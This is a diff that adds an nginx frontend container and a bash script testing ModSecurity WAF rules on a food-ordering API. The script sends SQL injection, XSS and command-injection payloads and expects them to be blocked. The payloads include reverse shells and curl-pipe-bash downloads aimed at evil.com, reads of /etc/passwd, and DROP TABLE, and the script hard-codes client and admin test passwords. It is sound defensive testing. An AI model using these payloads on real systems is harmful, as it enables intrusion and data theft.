/etc/nginx/conf.d/default.conf + +COPY --from=builder /app/dist /usr/share/nginx/html + +RUN chown -R nginx:nginx /usr/share/nginx/html && \ + mkdir -p /var/cache/nginx && \ + chown -R nginx:nginx /var/cache/nginx && \ + chown -R nginx:nginx /var/log/nginx && \ + touch /var/run/nginx.pid && \ + chown nginx:nginx /var/run/nginx.pid + +USER nginx + +EXPOSE 80 + +CMD ["nginx", "-g", "daemon off;"] diff --git a/docker-pre-prod/frontend/nginx.conf b/docker-pre-prod/frontend/nginx.conf new file mode 100644 index 00000000..6d95b8c4 --- /dev/null +++ b/docker-pre-prod/frontend/nginx.conf @@ -0,0 +1,16 @@ +server { + listen 80; + server_name _; + + root /usr/share/nginx/html; + index index.html; + + location / { + try_files $uri $uri/ /index.html; + } + + location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ { + expires 1y; + add_header Cache-Control "public, immutable"; + } +} diff --git a/docker-pre-prod/test-rules.sh b/docker-pre-prod/test-rules.sh new file mode 100755 index 00000000..3f0fd0c9 --- /dev/null +++ b/docker-pre-prod/test-rules.sh @@ -0,0 +1,610 @@ +#!/bin/bash + +# ============================================================================= +# Script de Test - ModSecurity Rules (XSS, SQL Injection, RCE, LFI, RFI) +# ============================================================================= +# Description: Teste les règles WAF pour XSS, SQL, RCE, LFI et RFI +# Usage: ./test-rules.sh +# ============================================================================= + +# Couleurs pour l'affichage +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +BLUE='\033[0;34m' +PURPLE='\033[0;35m' +CYAN='\033[0;36m' +NC='\033[0m' # No Color +BOLD='\033[1m' + +# Configuration +API_BASE_URL="http://172.20.167.237" + +# Credentials Client +CLIENT_USERNAME="salut" +CLIENT_PASSWORD="salut1234_" +CLIENT_TOKEN="" + +# Credentials Admin +ADMIN_USERNAME="admin_1768505094" +ADMIN_PASSWORD="AdminPass123!" +ADMIN_TOKEN="" + +TOTAL_TESTS=0 +PASSED_TESTS=0 +FAILED_TESTS=0 +LOG_FILE="modsec_test_$(date +%Y%m%d_%H%M%S).log" + +# ============================================================================= +# Fonctions Utilitaires +# ============================================================================= + +print_header() { + echo -e "\n${BOLD}${CYAN}========================================${NC}" + echo -e "${BOLD}${CYAN}$1${NC}" + echo -e "${BOLD}${CYAN}========================================${NC}\n" +} + +print_section() { + echo -e "\n${BOLD}${BLUE}>>> $1${NC}\n" +} + +print_test() { + echo -e "${YELLOW}[TEST] $1${NC}" +} + +print_success() { + ((PASSED_TESTS++)) + ((TOTAL_TESTS++)) + echo -e "${GREEN}✓ PASS${NC} - $1" | tee -a "$LOG_FILE" +} + +print_fail() { + ((FAILED_TESTS++)) + ((TOTAL_TESTS++)) + echo -e "${RED}✗ FAIL${NC} - $1" | tee -a "$LOG_FILE" +} + +print_info() { + echo -e "${CYAN}ℹ INFO${NC} - $1" +} + +print_warning() { + echo -e "${YELLOW}⚠ WARNING${NC} - $1" +} + +print_response() { + echo -e "${PURPLE}📄 Response:${NC} $1" +} + +# Fonction pour effectuer une requête HTTP avec token client +http_test_client() { + local method=$1 + local endpoint=$2 + local data=$3 + local expected_code=$4 + local description=$5 + local extra_headers=$6 + + print_test "$description" + + if [ -z "$data" ]; then + response=$(curl -s -w "\n%{http_code}" -X "$method" \ + -H "Authorization: Bearer $CLIENT_TOKEN" \ + -H "Content-Type: application/json" \ + $extra_headers \ + "${API_BASE_URL}${endpoint}" 2>&1) + else + response=$(curl -s -w "\n%{http_code}" -X "$method" \ + -H "Authorization: Bearer $CLIENT_TOKEN" \ + -H "Content-Type: application/json" \ + $extra_headers \ + -d "$data" \ + "${API_BASE_URL}${endpoint}" 2>&1) + fi + + http_code=$(echo "$response" | tail -n1) + body=$(echo "$response" | sed '$d') + + if [ "$http_code" -eq "$expected_code" ]; then + print_success "$description (HTTP $http_code)" + else + print_fail "$description - Expected: $expected_code, Got: $http_code" + print_response "$body" + echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE" + echo "Response: $body" >> "$LOG_FILE" + fi + + sleep 0.5 +} + +# Fonction pour effectuer une requête HTTP avec token admin +http_test_admin() { + local method=$1 + local endpoint=$2 + local data=$3 + local expected_code=$4 + local description=$5 + local extra_headers=$6 + + print_test "$description" + + if [ -z "$data" ]; then + response=$(curl -s -w "\n%{http_code}" -X "$method" \ + -H "Authorization: Bearer $ADMIN_TOKEN" \ + -H "Content-Type: application/json" \ + $extra_headers \ + "${API_BASE_URL}${endpoint}" 2>&1) + else + response=$(curl -s -w "\n%{http_code}" -X "$method" \ + -H "Authorization: Bearer $ADMIN_TOKEN" \ + -H "Content-Type: application/json" \ + $extra_headers \ + -d "$data" \ + "${API_BASE_URL}${endpoint}" 2>&1) + fi + + http_code=$(echo "$response" | tail -n1) + body=$(echo "$response" | sed '$d') + + if [ "$http_code" -eq "$expected_code" ]; then + print_success "$description (HTTP $http_code)" + echo "$body" + else + print_fail "$description - Expected: $expected_code, Got: $http_code" + print_response "$body" + echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE" + echo "Response: $body" >> "$LOG_FILE" + fi + + sleep 0.5 +} + +# Fonction pour effectuer une requête HTTP sans authentification +http_test_no_auth() { + local method=$1 + local endpoint=$2 + local data=$3 + local expected_code=$4 + local description=$5 + + print_test "$description" + + if [ -z "$data" ]; then + response=$(curl -s -w "\n%{http_code}" -X "$method" \ + -H "Content-Type: application/json" \ + "${API_BASE_URL}${endpoint}" 2>&1) + else + response=$(curl -s -w "\n%{http_code}" -X "$method" \ + -H "Content-Type: application/json" \ + -d "$data" \ + "${API_BASE_URL}${endpoint}" 2>&1) + fi + + http_code=$(echo "$response" | tail -n1) + body=$(echo "$response" | sed '$d') + + if [ "$http_code" -eq "$expected_code" ]; then + print_success "$description (HTTP $http_code)" + else + print_fail "$description - Expected: $expected_code, Got: $http_code" + print_response "$body" + echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE" + echo "Response: $body" >> "$LOG_FILE" + fi + + sleep 0.5 +} + +# ============================================================================= +# Authentification +# ============================================================================= + +authenticate() { + print_header "AUTHENTIFICATION" + + # ==================== CLIENT LOGIN ==================== + print_section "1. Login Client" + response=$(curl -s -w "\n%{http_code}" -X POST \ + -H "Content-Type: application/json" \ + -d "{\"username\":\"$CLIENT_USERNAME\",\"password\":\"$CLIENT_PASSWORD\"}" \ + "${API_BASE_URL}/api/v1/auth/login") + + http_code=$(echo "$response" | tail -n1) + body=$(echo "$response" | sed '$d') + + if [ "$http_code" -eq 200 ]; then + CLIENT_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4) + if [ -n "$CLIENT_TOKEN" ]; then + print_success "Login Client réussi - Token obtenu" + print_info "Token Client: ${CLIENT_TOKEN:0:50}..." + else + print_fail "Login Client réussi mais token non trouvé" + print_response "$body" + exit 1 + fi + else + print_fail "Échec du login Client (HTTP $http_code)" + print_response "$body" + exit 1 + fi + + # ==================== ADMIN LOGIN ==================== + print_section "2. Login Admin" + response=$(curl -s -w "\n%{http_code}" -X POST \ + -H "Content-Type: application/json" \ + -d "{\"username\":\"$ADMIN_USERNAME\",\"password\":\"$ADMIN_PASSWORD\"}" \ + "${API_BASE_URL}/api/v2/admin/auth/login") + + http_code=$(echo "$response" | tail -n1) + body=$(echo "$response" | sed '$d') + + if [ "$http_code" -eq 200 ]; then + ADMIN_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4) + if [ -n "$ADMIN_TOKEN" ]; then + print_success "Login Admin réussi - Token obtenu" + print_info "Token Admin: ${ADMIN_TOKEN:0:50}..." + else + print_fail "Login Admin réussi mais token non trouvé" + print_response "$body" + exit 1 + fi + else + print_fail "Échec du login Admin (HTTP $http_code)" + print_response "$body" + exit 1 + fi +} + +# ============================================================================= +# Tests SQL Injection +# ============================================================================= + +test_sql_injection() { + print_header "TESTS SQL INJECTION" + + print_section "1. SQL Injection - Login" + + # Test 1: SQL Injection classique dans login client + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \ + 403 "SQLi - Login Client OR 1=1" + + # Test 2: SQL Injection dans login admin + http_test_no_auth "POST" "/api/v2/admin/auth/login" \ + '{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \ + 403 "SQLi - Login Admin OR 1=1" + + # Test 3: SQL Injection avec UNION + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"admin'\'' UNION SELECT * FROM users--","password":"test"}' \ + 403 "SQLi - UNION SELECT" + + # Test 4: SQL Injection avec DROP TABLE + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"admin'\''; DROP TABLE users;--","password":"test"}' \ + 403 "SQLi - DROP TABLE" + + # Test 5: SQL Injection avec commentaire + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"admin'\''--","password":"test"}' \ + 403 "SQLi - Commentaire SQL --" + + print_section "2. SQL Injection - Panier" + + # Test 6: SQL Injection dans name_product + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"Pizza'\'' OR 1=1--","category":"pizza","quantity":1}' \ + 403 "SQLi - Panier name_product" + + # Test 7: SQL Injection dans category + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"Pizza","category":"pizza'\'' OR '\''1'\''='\''1","quantity":1}' \ + 403 "SQLi - Panier category" + + print_section "3. SQL Injection - Admin" + + # Test 8: SQL Injection dans username pénalité + http_test_admin "POST" "/api/v2/admin/protected/penalty" \ + "{\"username\":\"admin' OR '1'='1\",\"amount\":50.0,\"reason\":\"Test\"}" \ + 403 "SQLi - Username pénalité" + + # Test 9: SQL Injection dans paramètres commandes + http_test_admin "GET" "/api/v2/admin/protected/orders?status=pending' OR '1'='1" \ + "" \ + 403 "SQLi - Paramètres commandes" + + # Test 10: SQL Injection dans ID commande + http_test_admin "POST" "/api/v2/admin/protected/orders/1' OR '1'='1/auto-assign" \ + "" \ + 403 "SQLi - ID commande" + + # Test 11: SQL Injection dans username livreur + http_test_admin "GET" "/api/v2/admin/protected/delivery-persons/john' OR '1'='1/location" \ + "" \ + 403 "SQLi - Username livreur" + + print_section "4. SQL Injection - Commandes Client" + + # Test 12: SQL Injection dans adresse checkout + http_test_client "POST" "/api/v1/checkout" \ + '{"delivery_address":"1'\'' OR '\''1'\''='\''1"}' \ + 403 "SQLi - Adresse checkout" + + # Test 13: SQL Injection nom produit admin + http_test_admin "POST" "/api/v2/admin/protected/products" \ + '{"nom":"Pizza'\'' OR '\''1'\''='\''1","category":"pizza","stock":10,"prix":12.99}' \ + 403 "SQLi - Nom produit admin" + + print_section "5. SQL Injection - Variantes avancées" + + # Test 14: SQL Injection avec AND + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"admin'\'' AND '\''1'\''='\''1","password":"test"}' \ + 403 "SQLi - AND condition" + + # Test 15: SQL Injection avec encodage hex + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"admin'\'' OR 0x31=0x31--","password":"test"}' \ + 403 "SQLi - Encodage hex" + + # Test 16: SQL Injection avec SLEEP (Time-based) + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"admin'\'' AND SLEEP(5)--","password":"test"}' \ + 403 "SQLi - Time-based SLEEP" + + # Test 17: SQL Injection avec BENCHMARK + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"admin'\'' AND BENCHMARK(10000000,SHA1('\''test'\''))--","password":"test"}' \ + 403 "SQLi - BENCHMARK" + + # Test 18: SQL Injection avec sous-requête + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"admin'\'' AND (SELECT COUNT(*) FROM users)>0--","password":"test"}' \ + 403 "SQLi - Sous-requête" +} + +# ============================================================================= +# Tests XSS (Cross-Site Scripting) +# ============================================================================= + +test_xss() { + print_header "TESTS XSS (CROSS-SITE SCRIPTING)" + + print_section "1. XSS - Login" + + # Test 1: XSS basique avec script tag + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"","password":"test"}' \ + 403 "XSS - Script tag basique" + + # Test 2: XSS avec event handler + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"","password":"test"}' \ + 403 "XSS - Event handler onerror" + + # Test 3: XSS avec SVG + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"","password":"test"}' \ + 403 "XSS - SVG onload" + + print_section "2. XSS - Panier" + + # Test 4: XSS dans name_product + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"","category":"pizza","quantity":1}' \ + 403 "XSS - Panier name_product" + + # Test 5: XSS dans category + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"Pizza","category":"","quantity":1}' \ + 403 "XSS - Panier category" + + print_section "3. XSS - Admin" + + # Test 6: XSS dans raison pénalité + http_test_admin "POST" "/api/v2/admin/protected/penalty" \ + "{\"username\":\"$CLIENT_USERNAME\",\"amount\":30.0,\"reason\":\"\"}" \ + 400 "XSS - Raison pénalité" + + # Test 7: XSS dans paramètres commandes + http_test_admin "GET" "/api/v2/admin/protected/orders?username=" \ + "" \ + 403 "XSS - Paramètres commandes" + + # Test 8: XSS dans description produit + http_test_admin "POST" "/api/v2/admin/protected/products" \ + '{"nom":"Pizza","category":"pizza","description":"","stock":10,"prix":12.99}' \ + 403 "XSS - Description produit" + + print_section "4. XSS - Commandes Client" + + # Test 9: XSS dans adresse checkout + http_test_client "POST" "/api/v1/checkout" \ + '{"delivery_address":""}' \ + 403 "XSS - Adresse checkout" + + # Test 10: XSS dans commentaire approbation + http_test_client "POST" "/api/v1/commands/1/approve" \ + '{"rating":5,"comment":""}' \ + 403 "XSS - Commentaire approbation" + + # Test 11: XSS dans raison annulation + http_test_client "POST" "/api/v1/commands/1/cancel" \ + '{"reason":""}' \ + 403 "XSS - Raison annulation" + + print_section "5. XSS - Variantes avancées" + + # Test 12: XSS avec iframe + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"","password":"test"}' \ + 403 "XSS - body onload" + + # Test 14: XSS avec input autofocus + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"","password":"test"}' \ + 403 "XSS - input autofocus" + + # Test 15: XSS avec marquee + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"","password":"test"}' \ + 403 "XSS - marquee onstart" + + # Test 16: XSS avec details/summary + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"
","password":"test"}' \ + 403 "XSS - details ontoggle" + + # Test 17: XSS avec javascript: protocol + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"click","password":"test"}' \ + 403 "XSS - javascript protocol" + + # Test 18: XSS avec data: URI + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"alert(1)>click","password":"test"}' \ + 403 "XSS - data URI" + + # Test 19: XSS encodé HTML + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"<script>alert(1)</script>","password":"test"}' \ + 403 "XSS - Encodage HTML entities" + + # Test 20: XSS avec polyglotte + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"jaVasCript:/*-/*`/*\\`/*'\''/*\"/**/(/* */oNcLiCk=alert() )//","password":"test"}' \ + 403 "XSS - Polyglotte" +} + +# ============================================================================= +# Tests RCE (Remote Code Execution) +# ============================================================================= + +test_rce() { + print_header "TESTS RCE (REMOTE CODE EXECUTION)" + + print_section "1. RCE - Command Injection basique" + + # Test 1: Command substitution avec $() + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"$(whoami)","category":"pizza","quantity":1}' \ + 403 "RCE - Command substitution" + + # Test 2: Command substitution avec backticks + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"`whoami`","category":"pizza","quantity":1}' \ + 403 "RCE - Command substitution backticks" + + # Test 3: Pipe command + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"test|whoami","category":"pizza","quantity":1}' \ + 403 "RCE - Pipe command" + + # Test 4: Semicolon command chaining + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"test;whoami","category":"pizza","quantity":1}' \ + 403 "RCE - Semicolon chaining" + + # Test 5: AND command chaining + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"test&&whoami","category":"pizza","quantity":1}' \ + 403 "RCE - AND chaining" + + # Test 6: OR command chaining + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"test||whoami","category":"pizza","quantity":1}' \ + 403 "RCE - OR chaining" + + print_section "2. RCE - Commandes système dangereuses" + + # Test 7: cat /etc/passwd + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"$(cat /etc/passwd)","category":"pizza","quantity":1}' \ + 403 "RCE - cat /etc/passwd" + + # Test 8: ls command + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"$(ls -la)","category":"pizza","quantity":1}' \ + 403 "RCE - ls command" + + # Test 9: wget command + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"$(wget http://evil.com/shell.sh)","category":"pizza","quantity":1}' \ + 403 "RCE - wget download" + + # Test 10: curl command + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"$(curl http://evil.com/shell.sh|bash)","category":"pizza","quantity":1}' \ + 403 "RCE - curl pipe bash" + + # Test 11: nc (netcat) reverse shell + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"$(nc -e /bin/sh evil.com 4444)","category":"pizza","quantity":1}' \ + 403 "RCE - netcat reverse shell" + + # Test 12: bash reverse shell + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"$(bash -i >& /dev/tcp/evil.com/4444 0>&1)","category":"pizza","quantity":1}' \ + 403 "RCE - bash reverse shell" + + print_section "3. RCE - Dans autres endpoints" + + # Test 13: RCE dans adresse checkout + http_test_client "POST" "/api/v1/checkout" \ + '{"delivery_address":"$(whoami)"}' \ + 403 "RCE - Adresse checkout" + + # Test 14: RCE dans login + http_test_no_auth "POST" "/api/v1/auth/login" \ + '{"username":"$(id)","password":"test"}' \ + 403 "RCE - Login username" + + # Test 15: RCE dans commentaire + http_test_client "POST" "/api/v1/commands/1/approve" \ + '{"rating":5,"comment":"$(uname -a)"}' \ + 403 "RCE - Commentaire approbation" + + # Test 16: RCE dans raison annulation + http_test_client "POST" "/api/v1/commands/1/cancel" \ + '{"reason":"$(pwd)"}' \ + 403 "RCE - Raison annulation" + + print_section "4. RCE - Python/Perl/Ruby injection" + + # Test 17: Python code execution + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"__import__(\"os\").system(\"whoami\")","category":"pizza","quantity":1}' \ + 403 "RCE - Python import os" + + # Test 18: eval() injection + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"eval(\"whoami\")","category":"pizza","quantity":1}' \ + 403 "RCE - eval injection" + + # Test 19: exec() injection + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"exec(\"whoami\")","category":"pizza","quantity":1}' \ + 403 "RCE - exec injection" + + # Test 20: system() call + http_test_client "POST" "/api/v1/panier/add" \ + '{"name_product":"system(\"whoami\")","category":"pizza","quantity":1}' \ + 403 "RCE - system call" +} + +main() { + # Exécution des tests + authenticate + test_rce + test_xss + test_sql_injection + http_test_no_auth +} + +main